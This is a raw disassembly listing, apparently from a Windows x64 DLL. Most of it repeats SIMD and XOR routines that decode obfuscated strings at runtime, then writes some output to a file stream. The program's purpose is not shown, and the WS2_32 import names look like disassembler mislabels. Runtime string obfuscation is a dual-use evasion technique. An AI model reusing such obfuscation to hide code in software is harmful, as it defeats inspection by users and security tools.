movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm12
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xb54]
xorps xmm2, xmm1
movd dword [rbp + 0xb54], xmm2
movdqa xmm3, xmmword [0x180173d00]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm3, xmm0
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, ecx
paddb xmm3, xmm0
movd xmm1, edx
xorps xmm3, xmm1
movd dword [rbp + 0xb58], xmm3
mov r8d, reloc.WS2_32.dll_sendto
mov eax, r8d
lea r9, [rbp + 0xb48]
add r9, rax
nop
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x1800de300
xorps xmm0, xmm0
movups xmmword [rbp + 0x1330], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1340], xmm1
lea rax, [rbp + 0xb48]
mov r8, r15
nop
inc r8
cmp byte [rax + r8], 0
jne 0x1800de350
lea rdx, [rbp + 0xb48]
lea rcx, [rbp + 0x1330]
call fcn.180048670
nop
lea rdx, [rbp + 0x1330]
lea rcx, [rbp + 0x1310]
call fcn.180083840
mov rdx, rax
lea rcx, [rbp + 0x1760]
call fcn.18007e3e0
nop
mov rdx, rbx
mov rcx, rax
call fcn.18007e370
nop
lea rcx, [rbp + 0x1330]
call fcn.180049240
lea rax, [rbp + 0x7a8]
mov qword [rsp + 0x50], rax
lea rdx, [0x1802efdee]
lea rcx, [rbp + 0x7a8]
call fcn.1800a0600
mov rbx, rax
movups xmm2, xmmword [str.VQTXTHb_G_7_]
movups xmmword [rbp + 0xb30], xmm2
mov edx, dword [0x1801b39a8]
mov dword [rbp + 0xb40], edx
movzx ecx, byte [0x1801b39ac]
mov byte [rbp + 0xb44], cl
mov r8d, edi
cmp r14d, 2
jl 0x1800de612
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd ecx, xmm14
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0xb30], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm6
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xb34]
xorps xmm2, xmm1
movd dword [rbp + 0xb34], xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm6
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xb38]
xorps xmm2, xmm1
movd dword [rbp + 0xb38], xmm2
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm6
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm12
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xb3c]
xorps xmm2, xmm1
movd dword [rbp + 0xb3c], xmm2
movdqa xmm3, xmmword [0x180173d00]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm3, xmm0
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, ecx
paddb xmm3, xmm0
movd xmm1, edx
xorps xmm3, xmm1
movd dword [rbp + 0xb40], xmm3
mov r8d, reloc.WS2_32.dll_sendto
mov eax, r8d
lea r9, [rbp + 0xb30]
add r9, rax
nop
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x1800de620
xorps xmm0, xmm0
movups xmmword [rbp + 0x1370], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1380], xmm1
lea rax, [rbp + 0xb30]
mov r8, r15
nop
inc r8
cmp byte [rax + r8], 0
jne 0x1800de670
lea rdx, [rbp + 0xb30]
lea rcx, [rbp + 0x1370]
call fcn.180048670
nop
lea rdx, [rbp + 0x1370]
lea rcx, [rbp + 0x1350]
call fcn.180083840
mov rdx, rax
lea rcx, [rbp + 0x1760]
call fcn.18007e3e0
nop
mov rdx, rbx
mov rcx, rax
call fcn.18007e370
nop
lea rcx, [rbp + 0x1370]
call fcn.180049240
lea rax, [rbp + 0x7b8]
mov qword [rsp + 0x50], rax
lea rdx, [0x1802efe15]
lea rcx, [rbp + 0x7b8]
call fcn.1800a0600
mov rbx, rax
movups xmm2, xmmword [str.VQTXTHbJ27e6__I]
movups xmmword [rbp + 0xb00], xmm2
movzx ecx, word [0x1801b39c0]
mov word [rbp + 0xb10], cx
movzx ecx, byte [0x1801b39c2]
mov byte [rbp + 0xb12], cl
mov r8d, edi
cmp r14d, 2
jl 0x1800de8cf
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd ecx, xmm14
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0xb00], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm6
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xb04]
xorps xmm2, xmm1
movd dword [rbp + 0xb04], xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm6
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xb08]
xorps xmm2, xmm1
movd dword [rbp + 0xb08], xmm2
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm6
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm12
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xb0c]
xorps xmm2, xmm1
movd dword [rbp + 0xb0c], xmm2
mov r8d, reloc.WS2_32.dll_recv
mov eax, r8d
lea r9, [rbp + 0xb00]
add r9, rax
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x13
jl 0x1800de8e0
xorps xmm0, xmm0
movups xmmword [rbp + 0x13b0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x13c0], xmm1
lea rax, [rbp + 0xb00]
mov r8, r15
nop
inc r8
cmp byte [rax + r8], 0
jne 0x1800de930
lea rdx, [rbp + 0xb00]
lea rcx, [rbp + 0x13b0]
call fcn.180048670
nop
lea rdx, [rbp + 0x13b0]
lea rcx, [rbp + 0x1390]
call fcn.180083840
mov rdx, rax
lea rcx, [rbp + 0x1760]
call fcn.18007e3e0
nop
mov rdx, rbx
mov rcx, rax
call fcn.18007e370
nop
lea rcx, [rbp + 0x13b0]
call fcn.180049240
lea rax, [rbp + 0x7c8]
mov qword [rsp + 0x50], rax
lea rdx, [0x1802efe16]
lea rcx, [rbp + 0x7c8]
call fcn.1800a0600
mov rbx, rax
movsd xmm0, qword [str.RVXXWYbMV___7D]
movsd qword [rbp + 0x648], xmm0
mov edx, dword [0x1801b39d0]
mov dword [rbp + 0x650], edx
movzx ecx, word [0x1801b39d4]
mov word [rbp + 0x654], cx
cmp byte [0x1801b39d5], 0
je 0x1800deb70
mov r8d, edi
cmp r14d, 2
jl 0x1800deb2f
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm14
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.RVXXWYbMV___7D]
xorps xmm1, xmm0
movd dword [rbp + 0x648], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm6
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x64c]
xorps xmm2, xmm1
movd dword [rbp + 0x64c], xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm6
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, edx
xorps xmm2, xmm1
movd dword [rbp + 0x650], xmm2
mov r8d, recv
mov eax, r8d
lea r9, [rbp + 0x648]
add r9, rax
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x1800deb40
xorps xmm0, xmm0
movups xmmword [rbp + 0x13f0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1400], xmm1
lea rax, [rbp + 0x648]
mov r8, r15
nop
inc r8
cmp byte [rax + r8], 0
jne 0x1800deb90
lea rdx, [rbp + 0x648]
lea rcx, [rbp + 0x13f0]
call fcn.180048670
nop
lea rdx, [rbp + 0x13f0]
lea rcx, [rbp + 0x13d0]
call fcn.180083840
mov rdx, rax
lea rcx, [rbp + 0x1760]
call fcn.18007e3e0
nop
mov rdx, rbx
mov rcx, rax
call fcn.18007e370
nop
lea rcx, [rbp + 0x13f0]
call fcn.180049240
lea rax, [rbp + 0x7d8]
mov qword [rsp + 0x50], rax
lea rdx, [0x1802efe18]
lea rcx, [rbp + 0x7d8]
call fcn.1800a0600
mov rbx, rax
movups xmm2, xmmword [str.DQU_UHbMW_6]
movups xmmword [rbp + 0x7e8], xmm2
movdqa xmm0, xmm2
psrldq xmm0, 0xf
movd ecx, xmm0
test cl, cl
je 0x1800dee19
mov r8d, edi
cmp r14d, 2
jl 0x1800dede6
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd ecx, xmm14
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0x7e8], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm6
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x7ec]
xorps xmm2, xmm1
movd dword [rbp + 0x7ec], xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm6
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x7f0]
xorps xmm2, xmm1
movd dword [rbp + 0x7f0], xmm2
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm6
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm12, xmm0
andps xmm12, xmm10
packuswb xmm12, xmm12
packuswb xmm12, xmm12
movd xmm0, ecx
paddb xmm12, xmm0
movd xmm1, dword [rbp + 0x7f4]
xorps xmm12, xmm1
movd dword [rbp + 0x7f4], xmm12
jmp 0x1800dee19
lea r9, [rbp + 0x7e8]
nop dword [rax]
mov eax, 0x4ec4ec4f
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x1800dedf0
xorps xmm0, xmm0
movups xmmword [rbp + 0x1430], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1440], xmm1
lea rax, [rbp + 0x7e8]
mov r8, r15
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1800dee40
lea rdx, [rbp + 0x7e8]
lea rcx, [rbp + 0x1430]
call fcn.180048670
nop
lea rdx, [rbp + 0x1430]
lea rcx, [rbp + 0x1410]
call fcn.180083840
mov rdx, rax
lea rcx, [rbp + 0x1760]
call fcn.18007e3e0
nop
mov rdx, rbx
mov rcx, rax
call fcn.18007e370
nop
lea rcx, [rbp + 0x1430]
call fcn.180049240
lea rax, [rbp + 0x7f8]
mov qword [rsp + 0x50], rax
lea rdx, [0x18025055c]
lea rcx, [rbp + 0x7f8]
call fcn.1800a0560
mov rbx, rax
movsd xmm0, qword [0x1801b39e8]
movsd qword [rbp + 0x498], xmm0
movzx edx, word [0x1801b39f0]
mov word [rbp + 0x4a0], dx
movzx ecx, byte [0x1801b39f2]
mov byte [rbp + 0x498], reloc.WS2_32.dll_WSAStartup
xor byte [rbp + 0x499], 0x38
xor byte [rbp + 0x49a], 0x39
xor byte [rbp + 0x49b], 0x3a
xor byte [rbp + 0x49c], 0x3b
xor byte [rbp + 0x49d], 0x3c
xor byte [rbp + 0x49e], 0x3d
xor byte [rbp + 0x49f], 0x3e
xor dl, 0x3f
mov byte [rbp + 0x4a0], dl
xor byte [rbp + 0x4a1], 0x40
xor cl, 0x41
mov byte [rbp + 0x4a2], cl
xorps xmm0, xmm0
movups xmmword [rbp + 0x1470], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1480], xmm1
lea rax, [rbp + 0x498]
mov r8, r15
inc r8
cmp byte [rax + r8], 0
jne 0x1800def50
lea rdx, [rbp + 0x498]
lea rcx, [rbp + 0x1470]
call fcn.180048670
nop
lea rdx, [rbp + 0x1470]
lea rcx, [rbp + 0x1450]
call fcn.180083840
mov rdx, rax
lea rcx, [rbp + 0x1760]
call fcn.18007e3e0
nop
mov rdx, rbx
mov rcx, rax
call fcn.18007e370
nop
lea rcx, [rbp + 0x1470]
call fcn.180049240
lea rax, [rbp + 0x808]
mov qword [rsp + 0x50], rax
lea rdx, [0x1802efe1f]
lea rcx, [rbp + 0x808]
call fcn.1800a0600
mov rbx, rax
movsd xmm0, qword [str.UTVYPcTPO55Bk____]
movsd qword [rbp + 0x558], xmm0
mov ecx, dword [0x1801b3a00]
mov dword [rbp + 0x560], ecx
cmp byte [0x1801b3a03], 0
je 0x1800df179
mov r8d, edi
cmp r14d, 2
jl 0x1800df13d
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm14
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.UTVYPcTPO55Bk____]
xorps xmm1, xmm0
movd dword [rbp + 0x558], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm6
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x55c]
xorps xmm2, xmm1
movd dword [rbp + 0x55c], xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm6
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rbp + 0x560], xmm2
jmp 0x1800df179
lea r9, [rbp + 0x558]
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x1800df150
xorps xmm0, xmm0
movups xmmword [rbp + 0x14b0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x14c0], xmm1
lea rax, [rbp + 0x558]
mov r8, r15
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1800df1a0
lea rdx, [rbp + 0x558]
lea rcx, [rbp + 0x14b0]
call fcn.180048670
nop
lea rdx, [rbp + 0x14b0]
lea rcx, [rbp + 0x1490]
call fcn.180083840
mov rdx, rax
lea rcx, [rbp + 0x1760]
call fcn.18007e3e0
nop
mov rdx, rbx
mov rcx, rax
call fcn.18007e370
nop
lea rcx, [rbp + 0x14b0]
call fcn.180049240
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x1870]
call sub.VCRUNTIME140.dll_memset
mov eax, dword [0x1801b3a04]
mov dword [rbp - 0x1c], eax
movzx eax, byte [0x1801b3a08]
mov byte [rbp - 0x1c], 0x5c
xor byte [rbp - 0x1b], 0x38
xor byte [rbp - 0x1a], 0x39
xor byte [rbp - 0x19], 0x3a
xor al, 0x3b
mov byte [rbp - 0x18], al
lea rax, [rbp - 0x1c]
mov r8, r15
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1800df240
lea rdx, [rbp - 0x1c]
lea rcx, [rbp + 0x1788]
call fcn.1800549b0
mov rbx, rax
cmp qword [rax + 0x18], 0xf
jbe 0x1800df267
mov rbx, qword [rax]
lea rax, [0x180172658]
mov qword [rbp + 0x1870], rax
lea rcx, [rbp + 0x1918]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
or r12d, 0x40
mov dword [rbp - 0x64], r12d
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x1878]
lea rcx, [rbp + 0x1870]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64__bool____ptr64]
nop
mov rax, qword [rbp + 0x1870]
movsxd rcx, dword [rax + 4]
lea rsi, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x1870], rsi
mov rax, qword [rbp + 0x1870]
movsxd rcx, dword [rax + 4]
lea r8d, [rcx - 0xa8]
mov dword [rbp + rcx + 0x186c], r8d
lea rcx, [rbp + 0x1878]
call fcn.1800a9390
nop
mov r9d, 0x40
mov r8d, 2
mov rdx, rbx
lea rcx, [rbp + 0x1878]
call fcn.180086f20
test rax, rax
jne 0x1800df32b
mov rax, qword [rbp + 0x1870]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x1870]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
mov rax, qword [rbp + 0x1870]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x1870], rsi
mov rax, qword [rbp + 0x1870]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x186c], edx
xor edx, edx
lea rcx, [rbp + 0x1750]
call fcn.18007b1e0
nop
lea rsi, [rbp + 0x818]
mov qword [rsp + 0x50], rsi
mov dword [rsp + 0x28], edi
mov byte [rsp + 0x20], 0
mov r9b, 0x20
mov r8d, 4
lea rdx, [rbp + 0xc10]
lea rcx, [rbp + 0x1760]
call fcn.1800bf110
nop
mov rdx, rax
lea rcx, [rbp + 0xc30]
call fcn.180083840
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x818], xmm0
xor eax, eax
mov qword [rbp + 0x820], rax
movzx edx, byte [rbp + 0x818]
lea rcx, [rbp + 0x820]
call fcn.180083090
mov byte [rbp + 0x818], 3
mov ecx, 0x20
call fcn.18015d0b4
lea rcx, [rbp + 0x16f0]
mov qword [rbp + 0x1740], rcx
mov qword [rbp + 0x1748], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], rdi
movups xmm0, xmmword [rbx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rax + 0x10], xmm1
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbx], 0
mov rax, qword [rbp + 0x1748]
mov qword [rbp + 0x1748], rdi
mov qword [rsi + 8], rax
mov eax, dword [str.T:rVXXWY]
mov dword [rbp - 0x3c], eax
cmp byte [0x1801b3a0f], 0
je 0x1800df4db
mov r8d, edi
cmp r14d, 2
jl 0x1800df4ae
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm14
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp - 0x3c], xmm1
jmp 0x1800df4db
lea r9, [rbp - 0x3c]
mov eax, 0x4ec4ec4f
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x1800df4b2
xorps xmm0, xmm0
movups xmmword [rbp + 0xc70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xc80], xmm1
lea rax, [rbp - 0x3c]
mov r8, r15
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1800df500
lea rdx, [rbp - 0x3c]
lea rcx, [rbp + 0xc70]
call fcn.180048670
nop
lea rdx, [rbp + 0xc70]
lea rcx, [rbp + 0xc50]
call fcn.180083840
mov rdx, rax
lea rcx, [rbp + 0x1750]
call fcn.18007e3e0
nop
mov rdx, rsi
mov rcx, rax
call fcn.18007e370
nop
lea rcx, [rbp + 0xc70]
call fcn.180049240
nop
lea rcx, [rbp + 0xc30]
call fcn.180049240
nop
lea rcx, [rbp + 0xc10]
call fcn.180049240
cmp qword [rbp + 0x18f8], 0
je 0x1800df5ea
mov dword [rsp + 0x28], edi
mov byte [rsp + 0x20], 0
mov r9b, 0x20
mov r8d, 4
lea rdx, [rbp + 0xc90]
lea rcx, [rbp + 0x1750]
call fcn.1800bf110
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0xf
jbe 0x1800df5ae
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rbp + 0x1870]
call fcn.18006f370
nop
lea rcx, [rbp + 0xc90]
call fcn.180049240
